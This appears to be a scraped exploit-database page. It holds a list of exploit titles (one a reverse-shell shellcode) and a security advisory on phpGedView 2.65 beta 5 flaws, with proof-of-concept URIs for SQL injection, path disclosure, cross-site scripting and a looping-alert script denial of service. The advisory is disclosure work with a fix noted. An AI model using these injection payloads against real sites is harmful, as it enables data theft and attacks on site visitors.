bfebc3fa5a
62 changes to exploits/shellcodes macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriController::getDisplayPipeCapability' Peercast < 0.1211 - Format String Trillian Pro < 2.01 - Design Error dbPowerAmp < 2.0/10.0 - Buffer Overflow PsychoStats < 2.2.4 Beta - Cross Site Scripting MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution GitStack 2.3.10 - Unauthenticated Remote Code Execution Invision Power Top Site List < 2.0 Alpha 3 - SQL Injection (PoC) Invision Power Board (IP.Board) < 2.0 Alpha 3 - SQL Injection (PoC) Aardvark Topsites < 4.1.0 - Multiple Vulnerabilities DUWare Multiple Products - Multiple Vulnerabilities AutoRank PHP < 2.0.4 - SQL Injection (PoC) ASPapp Multiple Products - Multiple Vulnerabilities osCommerce < 2.2-MS2 - Multiple Vulnerabilities PostNuke < 0.726 Phoenix - Multiple Vulnerabilities MetaDot < 5.6.5.4b5 - Multiple Vulnerabilities phpGedView < 2.65 beta 5 - Multiple Vulnerabilities phpShop < 0.6.1-b - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3 - SQL Injection phpBB < 2.0.6d - Cross Site Scripting Phorum < 5.0.3 Beta - Cross Site Scripting vBulletin < 3.0.0 RC4 - Cross Site Scripting Mambo < 4.5 - Multiple Vulnerabilities phpBB < 2.0.7a - Multiple Vulnerabilities Invision Power Top Site List < 1.1 RC 2 - SQL Injection Invision Gallery < 1.0.1 - SQL Injection PhotoPost < 4.6 - Multiple Vulnerabilities TikiWiki < 1.8.1 - Multiple Vulnerabilities phpBugTracker < 0.9.1 - Multiple Vulnerabilities OpenBB < 1.0.6 - Multiple Vulnerabilities PHPX < 3.26 - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3.1 - Design Error HelpCenter Live! < 1.2.7 - Multiple Vulnerabilities LiveWorld Multiple Products - Cross Site Scripting WHM.AutoPilot < 2.4.6.5 - Multiple Vulnerabilities PHP-Calendar < 0.10.1 - Arbitrary File Inclusion PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities ReviewPost < 2.84 - Multiple Vulnerabilities PhotoPost < 4.85 - Multiple Vulnerabilities AZBB < 1.0.07d - Multiple Vulnerabilities Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities Burning Board < 2.3.1 - SQL Injection XOOPS < 2.0.11 - Multiple Vulnerabilities PEAR XML_RPC < 1.3.0 - Remote Code Execution PHPXMLRPC < 1.1 - Remote Code Execution SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite XPCOM - Race Condition ADOdb < 4.71 - Cross Site Scripting Geeklog < 1.4.0 - Multiple Vulnerabilities PEAR LiveUser < 0.16.8 - Arbitrary File Access Mambo < 4.5.3h - Multiple Vulnerabilities phpRPC < 0.7 - Remote Code Execution Gallery 2 < 2.0.2 - Multiple Vulnerabilities PHPLib < 7.4 - SQL Injection SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite CubeCart < 3.0.12 - Multiple Vulnerabilities Claroline < 1.7.7 - Arbitrary File Inclusion X-Cart < 4.1.3 - Arbitrary Variable Overwrite Mambo < 4.5.4 - SQL Injection Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities D-Link DNS-343 ShareCenter < 1.05 - Command Injection D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes)
96 lines
No EOL
4.9 KiB
Text
96 lines
No EOL
4.9 KiB
Text
phpGedView Multiple Vulnerabilities
|
|
|
|
Vendor: phpGedView
|
|
Product: phpGedView
|
|
Version: <= 2.65 beta 5
|
|
Website: http://phpgedview.sourceforge.net
|
|
|
|
|
|
Description:
|
|
The phpGedView project parses GEDCOM 5.5 genealogy files and displays them on the Internet in a format similar to PAF. All it requires to run is a php enabled web server and a gedcom file. It is easily customizable for use on many different web sites. It is one of the top 10 most popular projects at SourceForge.
|
|
|
|
SQL Injection Vulnerability:
|
|
phpGedView has a few files which are vulnerable to SQL injection. The vulnerable files are "timeline.php" and "placelist.php" The vulnerabilities are a result of input not being properly validated. The data given to these scripts are then executed by the "functions_mysql.php" file. As we can see below the $parent_id variable as well as the $level variable is passed directly into the query without being sanitized by the script at all in the "get_place_list()" function.
|
|
|
|
//-- find all of the places
|
|
function get_place_list() {
|
|
global $numfound, $j, $level, $parent, $found;
|
|
global $GEDCOM, $TBLPREFIX, $placelist, $positions;
|
|
|
|
// --- find all of the place in the file
|
|
if ($level==0) $sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=0
|
|
AND p_file='$GEDCOM' ORDER BY p_place";
|
|
else {
|
|
$psql = "SELECT p_id FROM ".$TBLPREFIX."places WHERE p_level=".($level-1)
|
|
." AND p_place LIKE '".$parent[$level-1]."' AND p_file='$GEDCOM' ORDER BY
|
|
p_place";
|
|
$res = dbquery($psql);
|
|
$row = mysql_fetch_row($res);
|
|
$parent_id = $row[0];
|
|
$sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=$level AND
|
|
p_parent_id=$parent_id AND p_file='$GEDCOM' ORDER BY p_place";
|
|
}
|
|
$res = dbquery($sql);
|
|
while ($row = mysql_fetch_row($res)) {
|
|
$placelist[] = stripslashes($row[0]);
|
|
$numfound++;
|
|
}
|
|
}
|
|
|
|
Below are some URI's which can be used to exploit the issue explained in the paragraph above. Also included is a URI that triggers a somewhat similar SQL vulnerability in the "timeline.php" script.
|
|
|
|
/placelist.php?level=1[Evil_Query]
|
|
/placelist.php?level=1&parent[0]=[Evil_Query]
|
|
/placelist.php?level=2&parent[0]=&parent[1]=[Evil_Query]
|
|
/timeline.php?pids=[Evil_Query]
|
|
|
|
Path Disclosure Vulnerability:
|
|
There are a decent number of ways an attacker could disclose the full path of the web server, thus aiding in the information gathering process preceding an attack. Below are a list of the vulnerable scripts and proof of concept URI's to reproduce the condition.
|
|
|
|
/indilist.php?alpha=\&surname_sublist=\
|
|
/famlist.php?alpha=(&surname_sublist=yes&surname=\
|
|
/placelist.php?level=1&parent[Blah]=
|
|
/imageview.php?zoomval=blah
|
|
/imageview.php?filename=/
|
|
/timeline.php?pids[Blah]=
|
|
/clippings.php?action=add&id=Blah
|
|
/login.php?action=login
|
|
/login.php?&changelanguage=yes&NEWLANGUAGE=Blah
|
|
/gdbi.php?action=connect&username=Blah
|
|
|
|
Cross Site Scripting:
|
|
I have found over a dozen instances of Cross Site Scripting in phpGedView, but there is probably more. The impact of these vulnerabilities are self explanatory; they allow code execution in the context of the browser of someone viewing the malicious URI. Below are examples of the numerous XSS vulns.
|
|
|
|
/descendancy.php?pid=<iframe>
|
|
/index.php?rootid="><iframe>
|
|
/individual.php?pid="><iframe>
|
|
/login.php?url=/index.php?GEDCOM="><iframe>
|
|
/relationship.php?path_to_find="><iframe>
|
|
/relationship.php?path_to_find=0&pid1="><iframe>
|
|
/relationship.php?path_to_find=0&pid1=&pid2="><iframe>
|
|
/source.php?sid=<iframe>
|
|
/imageview.php?filename=<iframe>
|
|
/calendar.php?action=today&day=1&month=jan&year="><iframe>
|
|
/calendar.php?action=today&day=1&month=<iframe>
|
|
/calendar.php?action=today&day=<iframe>
|
|
/gedrecord.php?pid=<iframe>
|
|
/login.php?action=login&username="><iframe>
|
|
/login.php?&changelanguage=yes&NEWLANGUAGE=<iframe>
|
|
/gdbi_interface.php?action=delete&pid=<iframe>
|
|
|
|
Denial Of Service:
|
|
It is also possible for an attacker to launch a DoS of sorts against a user who visits a certain URI. The vulnerability is in the language variable not being properly validated. If an attacker sends the following URI to a victim, they will not be able to access the phpGedView web site until they either clear their cookies, or manually reset the language settings by typing in a valid URI to reset the language back to something acceptable. The phpGedView website will not be able to be viewed by the victim until then.
|
|
|
|
/index.php?&changelanguage=yes&NEWLANGUAGE=[Junk_Here]
|
|
|
|
Or even one hundred million times more annoying is this :P
|
|
/index.php?&changelanguage=yes&NEWLANGUAGE=<script>var i=1; while(i){alert(i);};</script>
|
|
|
|
As I mentioned before though, it is possible to regain a normal session by manually typing in a value in the language variable that is acceptable to phpGedView.
|
|
|
|
Solution:
|
|
These vulnerabilities have been addressed in the latest beta release. Users may obtain the latest beta version at
|
|
http://sourceforge.net/project/showfiles.php?group_id=55456
|
|
|
|
Credits:
|
|
James Bercegay of the GulfTech Security Research Team. |